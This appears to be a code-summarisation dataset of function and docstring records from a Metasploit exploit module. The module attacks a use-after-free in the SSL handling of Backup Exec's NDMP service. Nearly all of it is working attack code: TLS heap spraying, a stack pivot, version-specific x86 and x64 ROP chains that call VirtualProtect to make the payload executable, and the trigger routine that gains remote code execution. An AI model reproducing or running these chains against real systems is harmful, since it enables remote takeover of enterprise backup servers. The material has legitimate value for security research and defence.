fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
end
end
end
socks
end
|
Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
|
connect_additional_sockets
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)
if phase.nil? || phase == 1
req = SSLRequest.new_for_opcode(opcode)
req.cert_id_1 = req.cert_id_2 = ca_cert_id
msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)
if block_given?
last = s.prepare_and_write_ndmp_msg(msg, true)
return nil unless last
sleep(1)
yield true
s.raw_sendall(last, 0)
yield false
else
return nil unless s.prepare_and_write_ndmp_msg(msg)
end
end
if phase.nil? || phase == 2
msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
return msg ? SSLResponse.from_xdr(msg.body) : nil
end
nil
end
|
Send a Backup Exec-specific SSL NDMP request and receive the response.
|
do_simple_ssl_request
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
if phase.nil? || phase == 2
fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
end
end
|
Send a Backup Exec SSL NDMP request and receive the response, requiring the response
to be empty.
|
require_empty_ssl_request
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def get_cert_id(cert)
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
end
|
Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
of the SHA-1 of the issuer and the raw serial number.
|
get_cert_id
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def generate_ca_cert_and_key(key_len=2048)
ca_key = OpenSSL::PKey::RSA.new(key_len)
ca_cert = OpenSSL::X509::Certificate.new
ca_cert.version = 3
ca_cert.serial = 1
ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
ca_cert.not_before = Time.now - 60 * 60 * 24
ca_cert.not_after = Time.now + 60 * 60 * 24 * 365
ca_cert.public_key = ca_key.public_key
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
ca_cert.extensions = [
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
extn_factory.create_extension('basicConstraints', 'critical,CA:true')
]
# Have to do this after creating subjectKeyIdentifier extension
ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)
[ca_cert, ca_key]
end
|
Create a self-signed CA certificate and matching key.
|
generate_ca_cert_and_key
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def handle_a_csr(s, ca_cert, ca_key)
resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
return nil if resp.nil?
request = OpenSSL::X509::Request.new(resp.unknown2)
agent_cert = OpenSSL::X509::Certificate.new
agent_cert.version = 3
agent_cert.serial = 2
agent_cert.subject = request.subject
agent_cert.issuer = ca_cert.subject
agent_cert.not_before = Time.now - 60 * 60 * 24
agent_cert.not_after = Time.now + 60 * 60 * 24 * 365
agent_cert.public_key = request.public_key
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
agent_cert.extensions = [
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
extn_factory.create_extension('basicConstraints', 'critical,CA:false')
]
# Have to do this after creating subjectKeyIdentifier extension
agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new)
req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
req.ca_cert = ca_cert.to_s
req.agent_cert = agent_cert.to_s
return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))
agent_cert
end
|
Get and handle a certificate signing request from Backup Exec with the given CA
certificate and key.
|
handle_a_csr
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def generate_tls_handshake_record(payload, required_fifth_byte=nil)
fail_with(Failure::Unknown, 'No payload') if payload.empty?
# Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
# 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
# the header, which is the second byte of the length word
unless required_fifth_byte.nil?
payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
end
"\x16\x03\x01" + [payload.length].pack('n') + payload
end
|
Generate a TLS handshake record with the given payload.
|
generate_tls_handshake_record
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
fail_with(Failure::Unknown, 'No TLS extension payloads given')
end
if ec_formats_extn_payload.length > 0xff
fail_with(Failure::Unknown, 'Bad EC formats extension length')
end
if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
fail_with(Failure::Unknown, 'Bad curves extension length')
end
if random.length != 0x20
fail_with(Failure::Unknown, 'Bad random length')
end
extns = ''
unless curves_extn_payload.empty?
extns << [
10,
curves_extn_payload.length + 2,
curves_extn_payload.length
].pack('n*') + curves_extn_payload
end
unless ec_formats_extn_payload.empty?
extns << [
11,
ec_formats_extn_payload.length + 1,
ec_formats_extn_payload.length
].pack('nnC') + ec_formats_extn_payload
end
r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
r << [extns.length].pack('n') + extns
r = "\x01" + [r.length].pack('N')[1...4] + r
generate_tls_handshake_record(r)
end
|
Generate a TLS ClientHello record with the given Random and extensions (ie. for
holding stages 2-4).
|
generate_tls_clienthello
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def generate_tls_in_sslv2_clienthello(payload)
fail_with(Failure::Unknown, 'No payload') if payload.empty?
fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
r = "\x01\x03" + payload
[r.length | 0x8000].pack('n') + r
end
|
Generate a TLS ClientHello record in a SSLv2 record with a given payload.
|
generate_tls_in_sslv2_clienthello
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def spray_tls_extensions(tls_spray_socks, ca_cert_id)
payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))
print_status('Spraying TLS extensions...')
(1..2).each do |phase|
tls_spray_socks.each do |ts|
require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
if phase == 2
ts.raw_sendall(spray, 0)
sleep(0.1)
end
end
end
sleep(1)
end
|
Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
|
spray_tls_extensions
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def generate_stage_1
if target.opts['Arch'] == ARCH_X64
stage_1 = [
# +0x18 from here is a non-zero, readable location. This is the load address of
# becrypto.dll (which is non-ASLR)
0xbe00000,
# On x64, we pivot into the current SSL socket buffer read location + 0x18
# lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
[0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
].pack('Q<*')
else
stage_1 = [
# +0x18 from here is a non-zero, readable location. This is the load address of
# becrypto.dll (which is non-ASLR)
0x63100000,
# On x86, we pivot into the current SSL socket buffer read location + 0x4
# mov esp, ebp; pop ebp; ret
target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
].pack('L<*')
end
stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
end
|
Generate stage 1.
This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
location (to prevent Backup Exec from falling over or failing) and a stack pivot to
some offset from the current SSL socket buffer read location, which will hold a
TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
offset will be different at each UAF trigger attempt; see attempt_triggers).
|
generate_stage_1
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def generate_stages_2_to_4
stage_4 = payload.encoded
if target.opts['Arch'] == ARCH_X64
if target.opts['Version'] == 14
stage_3 = [
0, # skipped by stage 2
0xbe31359, # push rax; pop rsi; ret
0xbe01f72, # pop rax; ret
0,
0xbe3d250, # add rax, rcx; ret
0xbe1c2f9, # pop r12; ret
0xbe2ab32, # pop r8; ret
0xbe2987c, # mov rcx, rax; call r12
0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
0,
0,
0,
0,
0xbe37f75, # push rax; pop rdi; ret
0xbe43b25, # mov rcx, rsi; call r12
0xbe01f72, # pop rax; ret
0,
0xbe3d250, # add rax, rcx; ret
0xbe6949a, # push rax; pop r12; ret
0xbe4f7ec, # pop r14; pop r13; ret
0xbe2ab32, # pop r8; ret
0,
0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
0xbe01f72, # pop rax; ret
0xbe2ab32, # pop r8; ret
0xbe36e8e, # mov rcx, rdi; call rax
0xbe01a29, # ret
0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
0,
0,
0,
0,
0xbe37f75, # push rax; pop rdi; ret
0xbe1c2f9, # pop r12; ret
0xbe2ab32, # pop r8; ret
0xbe43b25, # mov rcx, rsi; call r12
0xbe399d0, # pop r13; ret
1 << 31,
0xbe33c3e, # mov rdx, r13; call r12
0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
0xbe399d0, # pop r13; ret
0,
0xbe33c3e, # mov rdx, r13; call r12
0xbe2ab32, # pop r8; ret
0x40, # PAGE_EXECUTE_READWRITE
0xbe01a29, # ret
0xbe5180b, # jmp rdi
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
0,
0,
0,
0,
0xbe63938 # push rsp; ret
]
stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
stage_3[17] = stage_3[3] + kernel32_dll.length
stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
elsif target.opts['Version'] == 15
stage_3 = [
0xbe68a34, # push rax; pop rbx; ret
0xbe087c8, # pop rax; ret
0,
0xbe60dc0, # add rax, rcx; ret
0xbe9b627, # mov rcx, rax; call r12
0xbe4929d, # ret
0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe34c0c, # push rax; pop rbp; ret
0xbefc534, # mov rcx, rbx; call r12
0xbe087c8, # pop rax; ret
0,
0xbe60dc0, # add rax, rcx; ret
0xbe9b627, # mov rcx, rax; call r12
0xbefc526, # mov rdx, rcx; call r12
0xbe9ad68, # mov rcx, rbp; call r12
0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe43269, # push rax; pop rsi; ret
0xbefc534, # mov rcx, rbx; call r12
0xbebd50e, # pop r13; ret
0,
0xbe97c4e, # mov rdx, r13; call r12
0xbeae99d, # pop r8; ret
0x40, # PAGE_EXECUTE_READWRITE
0xbe3c9c0, # test rdx, rdx; setne al; ret
0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
0xbe4929d, # ret
0xbe9436d, # jmp rsi
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe2184d, # pop rdi; ret
0xbebd50e, # pop r13; ret
0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
]
stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
elsif target.opts['Version'] == 16
stage_3 = [
0xbe4e888, # push rax; pop rbx; ret
0xbe01f72, # pop rax; ret
0,
0xbe610f0, # add rax, rcx; ret
0xbe9c70c, # mov rcx, rax; call r12
0xbe01c2c, # ret
0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe12ed0, # pop rdi; ret
0xbe45a01, # pop r13; ret
0xbeaedb0, # mov rbp, rax; call rdi
0xbe5851a, # mov rcx, rbx; call r12
0xbe01f72, # pop rax; ret
0,
0xbe610f0, # add rax, rcx; ret
0xbe9c70c, # mov rcx, rax; call r12
0xbefe516, # mov rdx, rcx; call r12
0xbe9bf28, # mov rcx, rbp; call r12
0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe433b9, # push rax; pop rsi; ret
0xbe5851a, # mov rcx, rbx; call r12
0xbe45a01, # pop r13; ret
0,
0xbe2e55e, # mov rdx, r13; call r12
0xbe27c76, # pop r8; ret
0x40, # PAGE_EXECUTE_READWRITE
0xbe3caf0, # test rdx, rdx; setne al; ret
0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
0xbe01c2c, # ret
0xbe56cad, # jmp rsi
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
0,
0,
0,
0,
0xbe12ed0, # pop rdi; ret
0xbe45a01, # pop r13; ret
0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
]
stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
end
else
if target.opts['Version'] == 14
stage_3 = [
0x63117dfa, # pop edi; ret
0x63101514, # ret
0x63116cc9, # pop esi; ret
0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
0x631017ff, # pop ebp; ret
0x631213e6, # add esp, 0x20; ret
0x63137a3c, # pushal; ret
'KERN'.unpack('<L')[0],
'EL32'.unpack('<L')[0],
'.dll'.unpack('<L')[0],
0,
0x63117dfa, # pop edi; ret
0x6311de4c, # pop edi; pop ebp; ret
0x6311b614, # push eax; call edi
0x63117dfa, # pop edi; ret
0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
0x63116cc9, # pop esi; ret
0x631213e6, # add esp, 0x20; ret
0x63137a3c, # pushal; ret
'Virt'.unpack('<L')[0],
'ualP'.unpack('<L')[0],
'rote'.unpack('<L')[0],
"ct\0\0".unpack('<L')[0],
0x6314de45, # xchg eax, edi; ret
0x6311db46, # push esp; pop esi; ret
0x6311a398, # xchg eax, esi; ret
0x63116cc9, # pop esi; ret
0x6311f902, # pop ebx; pop ecx; ret
0x63123d89, # push eax; call esi
0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
0x63101514, # ret
0,
0x631309f4, # pop edx; or al, 0xf6; ret
0x40, # PAGE_EXECUTE_READWRITE
0x63117dfa, # pop edi; ret
0x63101514, # ret
0x6310185a, # pop eax; ret
0x63139ec5, # push esp; ret
0x63137a3c # pushal; ret
]
stage_3[31] = stage_4.length + 4
elsif target.opts['Version'] == 15
stage_3 = [
0x6311e378, # pop edi; ret
0x63101564, # ret
0x631289b9, # pop esi; ret
0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
0x6310184f, # pop ebp; ret
0x6313937d, # add esp, 0x20; ret
0x6311c618, # pushal; ret
'KERN'.unpack('<L')[0],
'EL32'.unpack('<L')[0],
'.dll'.unpack('<L')[0],
0,
0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
0x6311e378, # pop edi; ret
0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
0x631289b9, # pop esi; ret
0x6313937d, # add esp, 0x20; ret
0x6311c618, # pushal; ret
'Virt'.unpack('<L')[0],
'ualP'.unpack('<L')[0],
'rote'.unpack('<L')[0],
"ct\0\0".unpack('<L')[0],
0x631289b9, # pop esi; ret
0x631018aa, # pop eax; ret
0x63198446, # mov edi, eax; call esi
0x63137496, # push esp; pop esi; ret
0x6312c068, # xchg eax, esi; ret
0x631289b9, # pop esi; ret
0x6315c407, # pop ebx; pop ecx; ret
0x63189809, # push eax; call esi
0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
0x63101564, # ret
0,
0x63156a54, # pop edx; or al, 0xf6; ret
0x40, # PAGE_EXECUTE_READWRITE
0x6311e378, # pop edi; ret
0x63101564, # ret
0x631018aa, # pop eax; ret
0x6311c638, # push esp; ret
0x6311c618 # pushal; ret
]
stage_3[31] = stage_4.length + 4
elsif target.opts['Version'] == 16
stage_3 = [
0x6311e3c0, # pop edi; ret
0x63101564, # ret
0x63128a39, # pop esi; ret
0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
0x6310184f, # pop ebp; ret
0x631394ad, # add esp, 0x20; ret
0x6311c69c, # pushal; ret
'KERN'.unpack('<L')[0],
'EL32'.unpack('<L')[0],
'.dll'.unpack('<L')[0],
0,
0x6311e3c0, # pop edi; ret
0x631018aa, # pop eax; ret
0x6319959f, # mov ebp, eax; call edi
0x6311e3c0, # pop edi; ret
0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
0x63128a39, # pop esi; ret
0x631394ad, # add esp, 0x20; ret
0x6311c69c, # pushal; ret
'Virt'.unpack('<L')[0],
'ualP'.unpack('<L')[0],
'rote'.unpack('<L')[0],
"ct\0\0".unpack('<L')[0],
0x63128a39, # pop esi; ret
0x631018aa, # pop eax; ret
0x631993e6, # mov edi, eax; call esi
0x631375e6, # push esp; pop esi; ret
0x6312c0e8, # xchg eax, esi; ret
0x63128a39, # pop esi; ret
0x63133031, # pop ebx; pop ecx; ret
0x6314a34a, # push eax; call esi
0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
0x63101564, # ret
0,
0x63157084, # pop edx; or al, 0xf6; ret
0x40, # PAGE_EXECUTE_READWRITE
0x6311e3c0, # pop edi; ret
0x63101564, # ret
0x631018aa, # pop eax; ret
0x63134eb6, # push esp; ret
0x6311c69c # pushal; ret
]
stage_3[33] = stage_4.length + 4
end
stage_3 = stage_3.pack('L<*') + stage_4
end
if target.opts['Arch'] == ARCH_X64
if target.opts['Version'] == 14
stage_2 = [
0xbe40d1d, # pop r12; pop rsi; ret
0xbe1bca3, # pop r12; pop rbx; ret
0xbe399d0, # pop r13; ret
0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
0xbe501a7, # mov rcx, rbx; call rsi
0xbe01f72, # pop rax; ret
0,
0xbe3d250, # add rax, rcx; ret
0xbe37f75, # push rax; pop rdi; ret
0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
0xbe24263, # mov rax, qword ptr [rax + 8]; ret
0xbe1b055, # pop rbx; ret
0xfffffffffffff000,
0xbe501a7, # mov rcx, rbx; call rsi
0xbe3d250, # add rax, rcx; ret
0xbe1c2f9, # pop r12; ret
0xbe2ab32, # pop r8; ret
0xbe2987c, # mov rcx, rax; call r12
0xbe1b055, # pop rbx; ret
0xbe2ab32, # pop r8; ret
0xbe45935, # mov rdx, rdi; call rbx
0xbe01a29, # ret
0xbe2ab32, # pop r8; ret
0,
0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
0xbe2987c, # mov rcx, rax; call r12
0xbe1cfc0 # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
]
elsif target.opts['Version'] == 15
stage_2 = [
0xbe1e18e, # pop r12; pop rdi; ret
0xbebd50e, # pop r13; ret
0xbebc3fd, # pop r14; pop rbp; ret
0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
0xbe9ad68, # mov rcx, rbp; call r12
0xbe087c8, # pop rax; ret
0,
0xbe60dc0, # add rax, rcx; ret
0xbe43269, # push rax; pop rsi; ret
0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
0xbe1d923, # pop r12; pop rbx; ret
0xfffffffffffff000,
0xbe27c76, # pop r8; ret
0xbe45511, # mov rcx, r12; call rbx
0xbe60dc0, # add rax, rcx; ret
0xbe1df29, # pop r12; ret
0xbe27c76, # pop r8; ret
0xbe9b54c, # mov rcx, rax; call r12
0xbe01f72, # pop rax; ret
0xbe27c76, # pop r8; ret
0xbe4164c, # mov rdx, rsi; call rax
0xbeae99d, # pop r8; ret
0,
0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
0xbe9b627, # mov rcx, rax; call r12
0xbeeb621 # push rcx; pop rsp; ret
]
elsif target.opts['Version'] == 16
stage_2 = [
0xbe1e18e, # pop r12; pop rdi; ret
0xbe45a01, # pop r13; ret
0xbe2a433, # pop r14; pop rbp; ret
0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
0xbe9bf28, # mov rcx, rbp; call r12
0xbe01f72, # pop rax; ret
0,
0xbe610f0, # add rax, rcx; ret
0xbe433b9, # push rax; pop rsi; ret
0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
0xbe1d923, # pop r12; pop rbx; ret
0xfffffffffffff000,
0xbe27c76, # pop r8; ret
0xbe45681, # mov rcx, r12; call rbx
0xbe610f0, # add rax, rcx; ret
0xbe1df29, # pop r12; ret
0xbe27c76, # pop r8; ret
0xbe9c70c, # mov rcx, rax; call r12
0xbe01f72, # pop rax; ret
0xbe27c76, # pop r8; ret
0xbe4179c, # mov rdx, rsi; call rax
0xbe27c76, # pop r8; ret
0,
0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
0xbe9c70c, # mov rcx, rax; call r12
0xbeed611 # push rcx; pop rsp; ret
]
end
stage_2[6] = (stage_2.length - 4) * 8
stage_2[23] = stage_3.length
stage_2 = stage_2.pack('Q<*') + stage_3
else
if target.opts['Version'] == 14
stage_2 = [
0x63143720, # mov eax, dword ptr fs:[0x18]; ret
0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
0x63129b75, # pop edi; pop ecx; ret
0xfffffff0,
0x100000000 - 0x2000,
0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
0x63129b75, # pop edi; pop ecx; ret
0x6310185a, # pop eax; ret
0,
0,
0,
0x63133912, # add eax, ecx; ret
0x63152ded, # mov ebx, eax; call esi
0x631309f4, # pop edx; or al, 0xf6; ret
0x6314cfa1, # xchg eax, esp; ret
0x6311db46, # push esp; pop esi; ret
0x6310185a, # pop eax; ret
0x6310185a, # pop eax; ret
0x631171d2, # mov ecx, esi; call eax
0x6310185a, # pop eax; ret
0,
0x63133912, # add eax, ecx; ret
0x631257f4, # push ebx; call edi
0x631546eb, # pop edi; ret
0x631543cb, # pop ebp; pop esi; pop edi; ret
0x63116faf, # pop ebx; ret
0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
0x6315dde0, # cld; ret
0x63137a3c, # pushal; ret
0
]
stage_2[20] = (stage_2.length - 16) * 4
stage_2[29] = stage_3.length
elsif target.opts['Version'] == 15
stage_2 = [
0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
0x6312e404, # mov eax, dword ptr [eax + 4]; ret
0x6313031d, # pop ebp; pop ecx; ret
0x100000000 - 0x2000,
0xfffffff0,
0x6316c73a, # and eax, ecx; pop esi; ret
0x6315c407, # pop ebx; pop ecx; ret
0x63192b17, # add eax, ebp; ret
0x63189809, # push eax; call esi
0x63156a54, # pop edx; or al, 0xf6; ret
0x6312c933, # xchg eax, esp; ret
0x63137496, # push esp; pop esi; ret
0x6314172a, # pop eax; ret
0,
0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
0x63156dd8, # pop edi; pop ebp; pop esi; ret
0,
0,
0x631729cd, # pop ebx; ret
0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
0x6311e250, # cld; ret
0x6311c618, # pushal; ret
0
]
stage_2[13] = (stage_2.length - 12) * 4
stage_2[22] = stage_3.length
elsif target.opts['Version'] == 16
stage_2 = [
0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
0x63128afc, # pop ecx; ret
0xfffffff0,
0x6316d13a, # and eax, ecx; pop esi; ret
0x63133031, # pop ebx; pop ecx; ret
0x63128afc, # pop ecx; ret
0x100000000 - 0x2000,
0x63142860, # add eax, ecx; ret
0x6314a34a, # push eax; call esi
0x63157084, # pop edx; or al, 0xf6; ret
0x6311c6c0, # xchg eax, esp; ret
0x631375e6, # push esp; pop esi; ret
0x631018aa, # pop eax; ret
0,
0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
0,
0x63157408, # pop edi; pop ebp; pop esi; ret
0x63157408, # pop edi; pop ebp; pop esi; ret
0,
0,
0x63181046, # sub eax, ecx; pop ebx; ret
0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
0x6311e298, # cld; ret
0x6311c69c, # pushal; ret
0
]
stage_2[14] = (stage_2.length - 13) * 4
stage_2[25] = stage_3.length
end
stage_2 = stage_2.pack('L<*') + stage_3
end
stage_2 + rand_text(stage_2.length & 1)
end
|
Generate stages 2 to 4.
Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
to) onto the stack, bypassing Windows 8+'s check before certain functions (like
VirtualProtect) that we have called them from within expected stack memory instead of
the heap.
Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
(but we only really need stage 4 executable anyway).
Stage 4 is the user-selected Metasploit payload code.
|
generate_stages_2_to_4
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def attempt_triggers(s, spray_socks, spray_msg)
datastore['NumTriggerAttempts'].times do |x|
print_status('Spraying stage 1...')
(1..2).each do |phase|
spray_socks.each do |ss|
if phase == 1
return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
return true if @payload_connected || session_created?
else
50.times do
return false unless ss.read_ndmp_msg(spray_msg.header.type)
return true if @payload_connected || session_created?
end
end
end
end
sleep(1)
return true if @payload_connected || session_created?
# Send a certain amount of data per trigger attempt so that stage 1 will always end
# up jumping into the TLS/SSLv2 record at an expected location. The general idea is
# that the first write will complete Backup Exec's first recv operation, the second
# fills the buffer back up to an 8/4-byte aligned position, and the rest moves
# through the retsled
print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
trigger = if target.opts['Version'] == 14
if x == 0
# A maximum of 5 bytes are always read at first, so just send them all at once
"\x16\x03\x01\x10\x00"
elsif x == 1
# Skip over TLS header structure
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
else
# Skip over a ROP NOP
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
end
else
if x == 0
# A maximum of 11 bytes are always read at first, so just send them all at once
"\x90\x00\x01\x03\x03" + rand_text(11 - 5)
elsif x == 1
# Skip over SSLv2 header structure
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
else
# Skip over a ROP NOP
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
end
end
return false unless s.raw_sendall(trigger, 0)
sleep(1)
return true if @payload_connected || session_created?
end
nil
end
|
Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
|
attempt_triggers
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
